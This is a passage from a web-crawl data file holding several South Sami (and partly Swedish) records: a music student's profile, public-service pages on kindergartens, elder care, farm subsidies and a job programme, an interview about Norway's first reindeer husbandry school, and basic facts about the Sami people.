Sov tjidtjie lïeri satnem tjoejkedh gosse lij onne, jih dïhte lyjhkeme tjoejkedh dan mænngan. Daelie tjoejkemeskuvlesne Meråkersne vaadtsa. «Gosse tuhtjem dan soe luste, dle luste pryøvedh væjkele sjidtedh. Bøøremes!»\nDæjman skuvlesne Raanesne veedtsi, bene ij lij seamma goh Meråkersne. Byjresem lea buerebe Meråkersne, sov mielen mietie. «Mijjieh gellie daesnie, mij lea ektesne. Jih gellie mah sïjhtieh seamma» EllenSara jeahta.\nGarre, gaske jih støøves\nJis edtja bøøremes sjidtedh, dellie hov tjuara saavredh. Jijnjh jih eensilaakan. EllenSara soptseste sjïere saavremesoejkesje åtna. Ij lea seamma abpe tijjiem, soejkesjemem lea juekeme: Garre, gaske jih støøves saavreme.\nGosse garre våhkoe utnieh, dle edtjieh gaske 18 jih 20 tæjmoeh våhkosne saavredh. Eejehtimmesne, vuesiehtimmien gaavhtan gosse gåatan vualka, dle tjuara aaj saavredh. Dellie sov jijtje soejkesjem dåerede. Manne ussjedem disiplijnem lea vihkeles. EllenSara tuhtjie aaj vihkeles almetjigujmie mah datnem eadtjaldehtieh.\nRaerie jeatjabidie\nSaavreme lea A jih O jis sæjhta bøøremes sjïdtedh, bene mijjieh daejrebe ahte gååvnese jeatjah tjaalestahkh aalfabetesne aaj.\nDïhte lea vihkeles lïegkestidh, byøpmedidh jih åeredh rïekteslaakan. «Tjuara damtedh dov jijtjes kråahpe», dïhte jeahta.\nEllenSaran lohkehtæjja aervede 'Flexing' lea aaj buerie vuekie åejjiem saavredh gosse sæjhta buerebe sjidtedh. Mij amma 'flexing' dellie?\n«Dellie datne edtjh gulmiedahken åvtelen tjåadtjodh jih vuesehth dov jijtje åedtjieh, jih vuejnedh man stoerre jih tjaebpies lea, vuejnedh man veaksehks datne leah! Dellie sneehpes tjuajka dan mænngan», EllenSara jeahta jih føørhkede.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/daajra-maam-saejhta-1.12152297","date":"2018-01-20T17:43:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889677.76\/warc\/CC-MAIN-20180120162254-20180120182254-00017.warc.gz","language":"sma","language_score":0.9999858141,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999858140945435}","num_words":227,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanagïerte\nMaanagïerte edtja akte pedagogeles gïehtelimmie årrodh mij maanide aarhskuvleaalterisnie hijven evtiedimmie- jïh darjomenuepieh vadta. Gaajhkh tjïelth aktem laakeviedteldihkie dïedtem utnieh nuekies maanagïertesijjieh faalehtidh. Lissine eejhtegemaaksose, dle tjïelth dïedtem utnieh maanagïertide maeksedh.\nMaeksemedïedte lea dïhte seamma mejtie maanagïerte tjïelten jallh ij-tjïelten (ij-tjïelten maanagïerth, mah jååhkesjimmien mietie syökeme tsiengelen 1.b. 2011 mænngan, eah læjhkan daam dïedtem utnieh).\nFylhkenålman laavenjassh\nMaanagïertesuerkesne Fylhkenålma edtja tjïeltide jïh ij-tjïelten maanagïerteaajhteridie bïhkedidh maanagïertelaaken mietie, jïh vaaksjodh tjïelth dejtie laavenjasside darjoeh mejtie edtjieh maanagïertelaaken jïh baalte mieriedimmiej mietie.\nFylhkenålma klååkoeh gïetede aktegsnænnoestimmide nænnoestimmiej mietie maanagïertelaakesne jïh baalte mieriedimmine. Akte klååkoe aktegsnænnoestæmman seedtesåvva voestegh dan suarkan mij nænnoestimmiem dorjeme. Dastegh daate suerkie ij klååkoem mietieh, edtja dam Fylhkenålmese seedtedh, mij dam minngemosth gïetedimmiem dorje.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.fylkesmannen.no\/sma\/Maanagierte-jih-lierehtimmie\/Maanagierte\/","date":"2018-01-20T21:04:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889733.57\/warc\/CC-MAIN-20180120201828-20180120221828-00483.warc.gz","language":"sma","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"sma_Latn_score\": 1.0000014305114746}","num_words":115,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Särskilda boenden (äldreboenden) finns för att ge för service och omvårdnad till dig som är äldre och\/eller har någon funktionsnedsättning och som har behov av särskilt stöd. Du behöver inte välja utförare. Strömsunds kommun har inte infört valfrihetssystem enligt lag (2008:962) om valfrihetssystem, LOV, utan kommunen driver alla särskilda boenden i egen regi.\nInnehåll på denna sida\nDu själv eller en legal företrädare ansöker om plats i särskilt boende och skickar den till biståndsenheten. Du kan även göra en muntlig ansökan. Biståndshandläggaren gör en individuell utredning och bedömning av behovet och insatserna. Vid utredning och bedömning är du själv delaktig så långt det är möjligt. Särskilt boende är ett beslut om bistånd enligt socialtjänstlagen (2001:453).\nFör den som har ansökt och fått beslut om särskilt boende är det ofta viktigt att få flytta in så snart som möjligt. Om du tillsammans med dina anhöriga kan tänka dig olika alternativ inom kommunen kan väntetiden bli kortare än om du endast kan tänka dig att flytta till ett visst boende på en viss ort. Väntetiden från ansökningsdatum till erbjudet inflyttningsdatum är en till två månader i medeltal.\nPå ett särskilt boende finns vårdpersonal på plats dygnet runt. Det finns en enhetschef som leder vårdpersonalens arbete. Sjuksköterska eller distriktssköterska är på plats varje dag. Du har även tillgång till både arbetsterapeut och sjukgymnast som kan ge insatser.\nDu får personlig vård, omsorg och serviceinsatser utifrån dina behov och är själv med och bestämmer vilka aktiviteter du vill delta i och vad som gör din dag meningsfull. De insatser du behöver bestäms tillsammans med dig och skrivs ner i en så kallad genomförandeplan. Dina insatser följs upp vid behov tillsammans med personalen.\nDet är distriktschef eller enhetschef som tar kontakt med dig, din anhörig eller din gode man för att erbjuda dig plats. Då får du också information om rummets eller lägenhetens storlek, hyra och avgifter. Du får mer information, både muntligt och skriftligt, när du tackat ja till platsen. Några veckor efter att du flyttat in erbjuds du ett inflyttningssamtal.\nDu som flyttar in får eget kontrakt på lägenheten. Kommunens fastighetsförvaltning gör ett hyreskontrakt och skickar direkt till boendet.\nDet går bra att säga upp bostaden i särskilt boende direkt till enhetschefen. Enhetschefen kan hjälpa till med en skriftlig uppsägning om så önskas. Det är tre månaders uppsägningstid vid utflyttning och en månad (kalendermånad) när uppsägning sker efter att hyresgästen avlidit. Undantag kan göras om det finns särskilda skäl, till exempel om en ny hyresgäst kan flytta in innan uppsägningstiden löpt ut.\nPrecis som i andra hyresrätter är det hyresgästen som ansvarar för utflyttning och utstädning. Oftast innebär det att någon anhörig tar hand om flytt och städ själva eller genom att anlita någon lokal städfirma. Har du frågor om utflyttning kan du prata med enhetschefen för det aktuella boendet eller med distriktschefen.\nAtt tänka på eller tala om livserfarenheter, att dela minnen och reflektera över det som hänt tidigare i livet kan medverka till att bevara självkänslan. Levnadsberättelse är en metod i äldreomsorgen när människor har svårt att minnas sitt liv, berätta och sätta ord på vad de tänker och känner eller föra sin talan.\nÄldreomsorgen i Sverige ska inriktas på att äldre personer får leva ett värdigt liv och känna välbefinnande. Så formuleras värdegrunden för äldreomsorgen i socialtjänstlagen. Med utgångspunkt från den värdegrunden har socialnämnden tagit beslut om lokala värdighetsgarantier.\nDet går att överklaga beslut enligt socialtjänstlagen (2001:453) om du är missnöjd med beslutet.\nÅarjelsaemien\nSjïere årromesijjieh (voeresgåetieh) gååvnese ihke hoksehtimmiem jïh såjhtoem dutnjien vedtedh mij båeries jïh\/jallh ov-verviem åtnah jïh daerpiesvoetem sjïere dåarjegistie åtnah. Datne ih daarpesjh darjoje veeljedh. Straejmien tjïelte ij leah veeljemesysteemem dorjesovveme numhtie guktie laakesne(2008:962) tjåådtje veeljemesysteeme LOV:i bïjre. Tjïelte gaajhkide sjïere årromesijjide jïjtje evtiedieh.\nDatne jïjtje jallh aktem saadthalmetjem sijjen mietie sjïere årromesijjesne syökh jïh viehkieaktesasse seedtien. Datne maahtah aaj aktem njaalmeldh syökemem darjodh. Viehkiegïetedallijem aktem aajne tjïelkestimmiem jïh vierhtiedimmiem daerpiesvoeteste jïh barkojste darjoen. Sjïere årromesijjie akte nænnoestimmiem viehkien mietie lea, numhtie guktie sosiaaledïenesjelaakesne (2001:453) tjåådtje.\nSutnjan mij syökeme jïh nænnoestimmiem sjïere årromesijjien bïjre åådtjeme, lea sïejhme vihkeles åadtjodh gåatan juhtedh dan varki guktie gåarede. Jis datne dov lïhkesadtjigujmie maahtah ovmessie molsehth tjïeltesne ussjedidh maahta vuertemeboelhkem åeniehkåbpoe sjïdtedh enn jis datne ajve maahtah akten sjïere sæjjan akten sjïere voenese juhtedh. Vuertemeboelhkem syökemebiejjeste goske tjaangeme biejjiem mij faaleme, lea medtie akte gosk göökte askh.\nSjïere årromesijjesne gååvnese såjhtoebarkijh barkosne abpe dygnem. Akte akteseåejvie gååvnese mij såjhtoebarkiji barkoe lijrehte. Skïemtjesåjhtere jallh dajvesåjhtere lea barkosne fïerhten biejjien. Datne aaj gaskesem barkoeterapeutine jïh skïemtjegymnastine åtnah mah maehtiejægan viehkiem vedtedh.\nDatne jïjtsh såjhtoe, hokse jïh hoksehtimmiebarkoeh dov daerpiesvoetijste åadtjoeh jïh datne meatan jïh nænnosth magkeres darjomigujmie datne sïjhth meatan årrodh jïh mij dov biejjesne hijven darjoen. Dah barkoeh datne daarpesjh, nænnoste dov ektine jïh våålese tjaelien akten dorjesovvemesoejkesjisnie. Dov barkoeh daerpiesvoetesne dåereden barkiji ektine.\nDïhte lea dajveåejviem jallh akteseåejviem mij gaskesadtemem datnine vaalta, dov lïhkesadtjine jallh dov buerie ålmine ihke dutnjien sijjem faaledh. Datne åadtjoeh aaj bïevnesh dan bïjre, man stoerre tjïehtjele jallh gåetieluhpiem lea, leejjeme jïh åasan bïjre. Datne jienebh bïevnesh åadtjoeh, njaalmeldh jïh tjaaleldh gåessie datne jeavoe sæjjan gijhteme. Naan våhkoeh mænngan datne gåatan juhteme, datnem faalen aktem gåatanjuhtemesoptsestallemem.\nDatne mij gåatan jåhtah jïjtsh latjkoem gåetielåhpan åadtjoeh. Tjïelten gåetiereeremem aktem leejjemelatjkoem darjoen jïh rïekte årromesæjjan seedtien.\nHijven gåarede gåetieluhpiem sjïere årromesijjesne rïekte akteseåajvan nihtielidh. Akteseåejvie maahta tjaaleldh nihtielimmine viehkiehtidh jis vaajtelh. Nihtielimmieboelhke golme askh lea gåessie olkese juhtedh jïh aktem askem(kalendereaske) gåessie nihtielimmiem sjædta mænngan leejjemeguessie sealadamme. Joekehtsh maahta darjodh jis sjïere gaevhtie gååvnese, vuesiehtimmien gaavhtan jis akte orre leejjemeguessie maahta gåatan juhtedh eannan nihtielimmieboelhkem orrijamme.\nNaemhtie guktie jeatjah leejjemegåetide, lea leejjemeguessiem mij dïedtem åtna olkese juhtedh jïh sjeakodh. Daamhtah lea lïhkesadtje mij juhtemem jïh sjeakomem darjoen jallh aktem sjeakome-firma. Jis datne naan gyhtjelassh juhtemen bïjre åtnah datne maahtah akteseåejvine daaletje årromesijjien bïjre soptsestidh jallh dajveåejvine soptsestidh.\nUssjedidh jïh saakestidh jielemesaakestimmiej bïjre, mojhtesh juekedh jïh reflekteeredh dan bïjre mij aerebe jieliemisnie heannadamme maahta meatan årrodh jïh jïjtjedomtoem gorredidh. Jielemesaakestimmie lea aktem vuekiem voereshoksesne gåessie almetjh geerve utnieh dej jielemen bïjre måjhtajidh, saakestidh jïh baakoeh bïejedh mejtie dah ussjedieh jïh domtoeh jallh altese saakestimmiem saakestidh.\nVoereshoksem Sveerjesne edtja naemhtie årrodh ahte båeries almetjh åadtjoeh vyörtegs jielemem jieledh jïh bueriedomtemh domtedh. Naemhtie vyörtegsvoetemaadtosne voeresalmetjidie sosiaaledïenesjelaakesne tjåådtje. Vyörtegsmaadtoste lea sosiaalemoenehtsem nænnoestimmiem vaalteme voenges vyörtegsvoetetjirkemi bïjre.\nGåarede nænnoestimmiem laejhtedh naemhtie guktie sosiaaledïenesjelaakesne (2001:453) tjåådtje.\nSenast ändrad\/granskad: 15 januari 2018","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/www.stromsund.se\/1412.html","date":"2018-01-19T15:41:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888041.33\/warc\/CC-MAIN-20180119144931-20180119164931-00295.warc.gz","language":"sma","language_score":0.9384075999,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9384075999259949, \"swe_Latn_score\": 0.05984948202967644}","num_words":1039,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.948,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoe jåartaburrien jïh skåajjeburrien sisnjeli\nFylhkenålma edtja gellie dåarjoeöörnegh reeredh jåarta- jïh skåajjeburrien sisnjelen. Jåartaburrien sisnjelen dah vihkielommes öörnegh leah dorjemassedåarjoe, båantaklahkedåarjoe jïh regijovnale byjresedåarjoe. Dïhte stööremes dåarjoeöörnege skåajjeburrien sisnjelen lea dåarjoe jieleme- jïh byjreseråajvarimmide skåajjeburresne.\nTjïelth leah voestessuerkie dejtie jeanatjommes dåarjoeöörnegidie. Tjïelth utnijidie bievnieh, ohtsemh gïetedieh jïh gïehtjedimmieh darjoeh gaertieninie.\nFylhkenålma lea iktedæjja jïh raeriestæjja tjïeltide.\nFylhkenålma tjïeltide bïhkede dåarjoeöörnegi bïjre, jïh lea klååkemesuerkie tjïelten nænnoestimmide . Fylhkenålma maahta dispensasjovnh vedtedh, jïh dellie Staaten laanteburriereereme lea klååkemesuerkie. Fylhkenålma edtja baaltelen reeremegïehtjedimmieh tjïrrehtidh tjïeltine jïh sïeltegïehtjedimmieh gaertienie. Akte soejkesje dorjesåvva daejtie gïehtjedimmide fïerhten jaepien.\nFylhkenålma dåarjoem reerie jielemeevtiedæmman laanteburriesuerkien sisnjelen, voeneevtiedimmievierhtieh (BU-vierhtieh) salkehtæmman jïh sjïehteladtemasse.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Laanteburrie-jih-beapmoe\/Daarjoe-jaartaburrien-jih-skaajjeburrien-sisnjeli\/","date":"2018-01-21T08:29:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890394.46\/warc\/CC-MAIN-20180121080507-20180121100507-00796.warc.gz","language":"sma","language_score":0.9999667406,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999667406082153}","num_words":104,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.111,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Davvisámegillii På norsk\nTjaalege gærjeste Saemien skuvle-vaajese 2.Davvi Girji 2007.\nPaul Fjellheim, Røros 2003\n|Paul Fjellheime reakasovvi 1931, jih byjjeni Fjellheimesne, Prahken tjieltesne Plassjen (Rørosen) noerhtelen, gusnie eejhtegh jieliejigan spidtjebarkojste jih båatsoejieliemistie. Dihte maana-skuvlem Prahkesne veedtsi, realskuvlem Rørosesne, laante-gymnasem Orkdaellesne jih veterinær-jilleskuvlem Oslovesne. |\nAerebi goh voestes lohkehtæjja båatsoeburrie-skuvlesne 1968\/69 sjidti, Fjellheime barki goh veterinære Lardalesne Vestfoldesne, fealadimmie byjrese-veterinære Noerhte-Nøørjesne jih Staaten veterinær- laboratoriumesne Harstadesne. Dan mænngan lij viehkiehtæjja veterinær-jilleskuvlesne jih jaepien 1976 byjrese-veterinære Rørosesne sjidti. Desnie barki gosk voerese-maaksoem dåastoeji.\nPaul Fjellheime lij åvtehke Nøørjen Båatsoesaemiej Rijhkesaerviesne (NBR) jaepiej 1965-73. Jaepien 2001 lihtsege Saemiej-reaktaj-moenehtsisnie sjidti.\nPaul Fjellheime dihte bøøremes maahta alkoelistie soptsestidh båatsoeburrie-skuvlen bijre. Voestegh eadtjohke laakan barki guktie skuvle juhtiemasse bøøti jih mænngan voestes åejvie-lohkehtæjja sjidti. Mijjieh libie Rørosesne minneme jih dam gåetesne råakeme guktie dihte maahta soptsestidh guktie skuvle juhtiehtasse bøøti jih guktie siepmieh lin skuvlesne voestes jaepien.\n– Aerebi goh Staaten båatsoeburrie-skuvle tseegksovvi ij lij naan øøhpehtimmie båatsoejielemen bijre Nøørjesne – jis ibie neebnh såemies åenehks kuvsjh jih naan jaepieh jåarhke-skuvlesne gusnie båatsoejieleme-daltese jih mænngan naan jaepieh noereskuvlesne Karasjokesne. Lierehtimmieh båatsoejielemen bijre lin noere almetjh åådtjeme gåetesne fuelhkien tjirrh. Gosse skuvle-diedte væjreni, dellie åenebe jih åenebe tijje maanide jih noeride gåetesne sjidti båatsoejieliemisnie meatan årrodh. Nimhtie daerpies skuvle dihte diedtem åadtjoeji båatsoejielemen bijre maahtoem vedtedh. Stoerre jih stuerebh kriebpesjimmieh aaj sjidtin laaken nualan båetedh, øøkonomiem stuvredh guktie vierhtieh støøremes sjidtin jih jeatja paehperebarkoejgujmie øørnedh. Dåaroen gaavhtan lin gallesh båatsoeburrie-almetjh nuepiem dasseme skuvlh vaedtsedh.\nGaskoe 50-taalesne Staate veterinær-laboratoriumem Harstadesnie rihpesti gusnie veterinære gien jijnjh maahtoeh bovtsi-heavoj bijre. Sven Skjenneberge dennie barkojsne sijjiem åadtjoeji jih gosse dihte liegkesem utnieji 1966-68, lim manne dennie sijjesne.Jaepien 1968 akte giehtjedimmie-stasjovne (forsøksstasjon) båatsoejielemen gaavhtan, Lodegisnie tseegkesovvi. Jaepien 1968 dihte stasjovne veterinærlaboratorien bæjngolen bøøti jih Skjenneberge åvtehke desnie sjidti.\nAavrehke limh, juktie staaten sekretære guhth dellie Laanteburrie-departementesne tjaahkan, Johan Kleppe, lij våårehke laakan båatsoejielemasse giehtjedamme. Monnoeh limen ektesne veterinær-skuvlesne vaadtseme jih gosse manne dam aamhtsem dan åvtese juhtihtim, dellie dihte dallah edtjohke båatsoeburrie-skuvlem øørnedh.\nBorkenesesne, Harstaden bæjngoelisnie lij ikt akte onne haakeneburrie-skuvle jih disse lij dej minngemes jaepiej geerve orreme learohkh åadtjodh guktie nimhtie aajhtaldihkie. Desnie buerie sijjie guktie båatsoeburrie-skuvle meehti disse juhtedh. Sijjie lohkehtæjjan guhth meehti båatsoejielemen bijre øøhpehtidh lij staeries, mohte idtji guhte dam ohtsh. Dellie munnjan dijre bøøti jis edtjti skuvle juhtiehtasse båetedh, dellie manne dam sijjiem tjoeverim ohtsedh.\nIj lij aelhkie båatsoeburrie-øøhpehtimmiem alkoelistie tseegkedh. Læjhkan lij munnjien buerie juktie åehpies lim abpe båatsoejieleme-Nøørjine mov barkoen tjirrh goh veterinære, jih goh lihtsege NBR-esne. Tsagkese lij læjhkan juktie ij lij mov naan øøhpehtimmie pedagogike-faagigujmie jallh dååjrehtsh goh lohkehtæjja. Mijjen lin aaj vaenieh learoevierhtieh. Sven Skjennebergen gærja «Rein og reindrift» (Bovtsh jih båatsoeburrie) lij staeries, mohte dejtie jeatja tjaalegidie mejtie sijhtim åtnose vaeltedh, tjoeverim jijtje tjaeledh. Faagplaanh dejtie sjiere faagidie, tjoeverimh tjaeledh mearan faagh lin juhtiemisnie. Faagplaane-moenehtsisnie mov baalte, lij Loyd Villmo guhth utnieji daajroem båatsoejielemem bijre. Dah jeatjebh dennie moenehtsisnie lin laanteburrie-lohkehtæjjah. Aelkiemisnie laanteburrie-plaanide vååjnesasse veeltimh jih dejtie voejhkelimh båatsoejielemasse sjiehtesjahtedh. Daate hov joekoen vihkeles barkoe, mohte ij lij gie aerebi dagkarinie barkojne giehtelamme. Idtimh giejtie gænnah maehtieh man bijre gihtjedh.\nMijjen lin uktsie learohkh voestes jaepien. Gøøkte ligan Finnmarkeste, gøøkte Tromseste, golme Noerhtelaanteste, akte Noerhte- jih akte Åarjelh-Trøndelageste. Jijnjemesh lin påajhkh, ajve akte niejte. Manne jijtje maahtoem vedtiejim båatsoejielemen learoen bijre, v.g. gåatomen – jih bovtsi haerpij bijre, jih guktie bovtsh ektesne dåehkine. Villmoe dihte båatsoejielemen økonomien bijre øøhpehti. Lohkehtæjjah haakeneburrie-skuvleste dejtie jeatja faagide øøhpehtin goh nøørjen giele, matematigke jih learoeh maskinaj bijre.\n|Learohkh jih lohkedæjjah båatsoeburrie-skuvlesne 1968\/69: Albrigt Myrstad - John Hovd - Arne Fjellheim - Ole Jakob Edvardsen - Paul FjellheimAlbert Jåma - Inge Andersen - Anders Gaup - Johan Mathis Vars - Per Schjølberg-GamnesPer Mathis Skum - Anne Margrethe Oskal - Anders Eira|\n(Guvvie: Loyd Villmo)\nDaate lij skuvle mij adtjegh juhtiemasse båateme,mohte mov vierhtiedimmien mietie, ij lij daate naan madtan skuvle. Learohkh jijtje-darjoemisnie lierin. Manne måjhtam, akte dejtie learohkijstie, Anne Margrethe Oskale jeehti daate dihte bøøremes skuvle sutnjien, juktie desnie åadtjoejin jijtje barkedh maahtoeh tjøønghkedh jih aaj gærjijste learoem viedtjedh.\nJalhts jeenemes dejstie learohkijstie saemien utniejin goh gåetie-giele, idtji gieh øøhpehtimmiem saemien gielesne kriebpesjh. Ij lij maahtoeh saemiej kultuvren bijre naan faage dej beeli, mohte voejhkelimh læjhkan jeatja faagine maahtoeh vedtedh jis nimhtie sjiehti.\n– Haakeneburrie- jih båatsoeburrie-skuvle seamma ræhpien nuelesne sjidtin jih båatsoeburrie-skuvle aaj seamma åvtehkem åadtoeji goh laanteburrien-skuvle. Learohkh seamma lohkehtæjjah åadtjoejin jih dah maanah edtjin aaj ektesne seamma internatesne årrodh. Mohte dah gøøkte skuvlh sjiere byjresh jih kultuvrh vuesiehtin dovne learohki jih lohkehtæjjaj gaskems. Learohkh haakeneburrie-skuvlesne lin nuerebh saemiej learohkijstie jih eah lin dah seamma eadtjohke lierehtæmman goh dah saemiej learohkh. Dej beeli lin sohtehtimmieh jih laavsomh daamhtetje saemide veadtaldihkie, jih dovne learohkh jih lohkehtæjjah sih lin dagkerh åssjalommesh guedtieminie. Nimhtie jijnjh tsagkesh gaskems sjidtin. Jis lin krøøhkestimmie-tsagkesh skuvlesne, dellie dah lin daamhts haakeneburrie-skuvlen learohkide veadtaldihkie.\n– Guktie mejtie giehtjedimmie-tjaalege skuvlen bijre tjaalasovvi?\n– Dihte tjaalege, bist. Dihte mij mov gåmmebe mænngan sjidti, lij dellie barkeminie Oslovesne, Instituttesne mij edtji ektievuekie-jielemem giehtjedidh. Desnie saemien studentem utnieji, man nomme Johan Albert Kalstad, Hábmereste. Øørnege tseegkesovvi guktie dihte beetneh-vierhtieh giehtjedimmie-raereste åadtjoeji guktie meehti byjresem skuvlesne giehtjedidh. Jih Johan Alberte bøøti, skuvlesne giehtjedi jih aaj learohkidie skuvlebiejjiej mænngan, skuvlen bæjngoelisnie. Tjoeverem jiehtedh, væjkeles lij.\nTsagkesh lin mov aarvoen mietie skuvlesne. Voenesne buerie laakan dej noere saemiejgujmie gåaredi. Tjoeverem dejtie båatsoe-jieleme noeride garmerdidh. Dah lin jihtseles jih barkose eadtjohke. Mov vuajnoen mietie lin dah saemien noerh skuvlesne aajmohke jih nimhtie leah aaj gallesh orreme mejtie leam båatsoejielemen bæjngoelisnie mænngan råakeme.\nDej voestes jaepiej lij buerie sijjie båatsoeburrie-skuvlesne. Naan jaepiej mænngan stoerre ohtseme haakeneburrie-skuvlese sjidti jih nimhtie gåårtjehke desnie. Dan sjieken skuvle Goevtegeajnose bøøti jaepien 1981. Mohte daate lij mov barkoen mænngan, guktie gieh jeatjebh tjoeverieh dan bijre soptsestidh.\nJeatjah tjaalegh gærjeste Saemien skuvle-vaajese 2","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/skuvla.info\/skolehist\/fjellheim-s.htm","date":"2018-01-19T13:26:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887981.42\/warc\/CC-MAIN-20180119125144-20180119145144-00396.warc.gz","language":"sma","language_score":0.9998646975,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9998646974563599}","num_words":907,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kvalifiseradimmieprogramme\nKvalifiseradimmieprogramme edtja skreejredh guktie jienebh ånnanamme barkoe- jïh baalhkamaahtojne, jïh mah vaenie jallh ij naan beetnegh almetjetjirkemistie åadtjoeh, maahtoem åadtjoeh guktie barkose båetieh. Edtja dam darjodh akten lïhkebe laavenjostojne Nav'ine.\nGie maahta meatan årrodh programmesne?\nKvalifiseradimmieprogrammen ulmie lea barkoem lissiehtidh dejtie almetjidie mah leah, jallh maehtieh jearohke sjïdtedh sosijaaleviehkeste guhkiem. Gaajhkesh barkoeaalterisnie mah ånnanamme barkoe- jïh baalhkaraastem utnieh, jïh ij naan jallh smaave beetnehvierhtieh jieliemassese, maehtieh reaktam utnedh meatan årrodh programmesne. Programme edtja abpe jaepiem jïh ellies tïjjen årrodh. Gosse meatan kvalifiseradimmieprogrammesne dle reaktam åtna kvalifieseradimmiedåarjoem åadtjodh. Dan åvteste daate beetnehdåarjoe daajroes, dle dåastoje maahta sov ekonomijem soejkesjidh guhkiebasse.\nKvalifiseradimmieprogramme lea åejvieladtji vihkielommes tsavtshvierhtie gæmhposne giefiesvoeten vööste.\nFylhkenålman laavenjassh\nFylhkenålman jienebh laavenjassh kvalifiseradimmieprogrammen sjïekenisnie. Fylhkenålma edtja gaskem jeatjah\n- NAV-kontovride vaaksjodh\n- lïerehtimmiem vedtedh NAV-kontovri barkijidie kvalifiseradimmieprogrammen bïjre\n- gårreldimmiem gorredidh tjïelten stuvremisnie\n- råajvarimmie- jïh maahtoedarjomh kvalifiseradimmieprogrammesne iktedidh NAV Fylhken vööste\n- bïhkedidh, daajroem bieljelidh jïh råajvarimmiejgujmie nïerhkedh mah maahtoem lutnjieh åvtehkidie jïh barkijidie NAV-kontovrine\n- klååkemeaamhtesh gïetedidh\nSjyöhtehke svaalhtesh:\nlaake sosijaale dïenesji bïjre NAV'sne\nhttp:\/\/kommune.nav.no\/\ndïhte orre mieriedimmie goeven 21.biejjeste 2011\nDaesnie maahtah lohkedh gïeh reaktam utnieh meatan årrodh programmesne v, § 29 laakesne sosijaale dïenesji bïjre NAV'sne (http:\/\/www.lovdata.no\/all\/nl-20091218-131.html).","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Healsoe-jih-hokse\/Kvalifiseradimmieprogramme\/","date":"2018-01-21T08:15:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890394.46\/warc\/CC-MAIN-20180121080507-20180121100507-00068.warc.gz","language":"sma","language_score":0.9999934435,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9999934434890747}","num_words":183,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tone Marie Larsen & Anita Dunfjeld Aagård\nIndlæst på sydsamisk af Jonna Dunfjeld Mølnvik\nSaepmie dajve gusnie saemieh aerpievuekien mietie orreme Nöörjesne, Sveerjesne, Såemesne jïh Russlaantesne.5\nSaemieh aalkoealmetjh juktie saemieh lin daennie dajvesne goh gånkah jïh staati åejvieh laanti rastah nænnoestin. Nöörjen Maadth-laake jeahta staate Nöörje göökte almetje-tjïerti laantine dorjesovveme.7\nIj daejrieh man gellie saemieh veartanisnie, men veanhta medtie 50-80 000 saemieh. Dejstie medtie 2000 Russlantesne, 7000 Såevmesne, 17 000 Sveerjesne jïh 40 000 Nöörjesne.9\nGååvnesieh 9 ovmessie saemien gïelh. Dej gïeli gaskem jïjnjh joekehtsh guktie barre dah lihkemes sinsitnien gïelide guarkah. Joekehtsh åarjelsaemien jïh noerhsaemien gïeli gaskem ånnetji goh daaroen jïh islaanten gïeli gaskem.11\nSaemien vaarjoeh, gapta\/gåptoe, vuesehtieh gubpede båetieh jallh gubpede fuelhkie båata. Saemieh gaptam nuhtjieh dovne gosse maam joem heevehtieh, gosse gïe joe juvlelge, tjåanghkojne jïh gosse sijhtieh vuesiehtidh gïeh leah.13\nSaemien saevege tjåenghkies gaajhkide saemide. Dah njieljie klaerieh vuesiehtieh saemieh 4 laantine årroeh. Rööpses klaerie edtja dållem vuesiehtidh, kruana eatnemem, viskes biejjiem jïh plaave tjaetsiem. Gievlie edtja biejjiem jïh askem vuesiehtidh.15\nSaemiej åålmegebiejjie goevten 6.biejjien. Dam biejjiem veeljeme juktie goevten 6. biejjien jaepien 1917 voestes aejkien saemieh abpe Nöörjeste jïh aaj Sveerjeste Tråantesne tjåanghkenin saemiej reaktaj bïjre 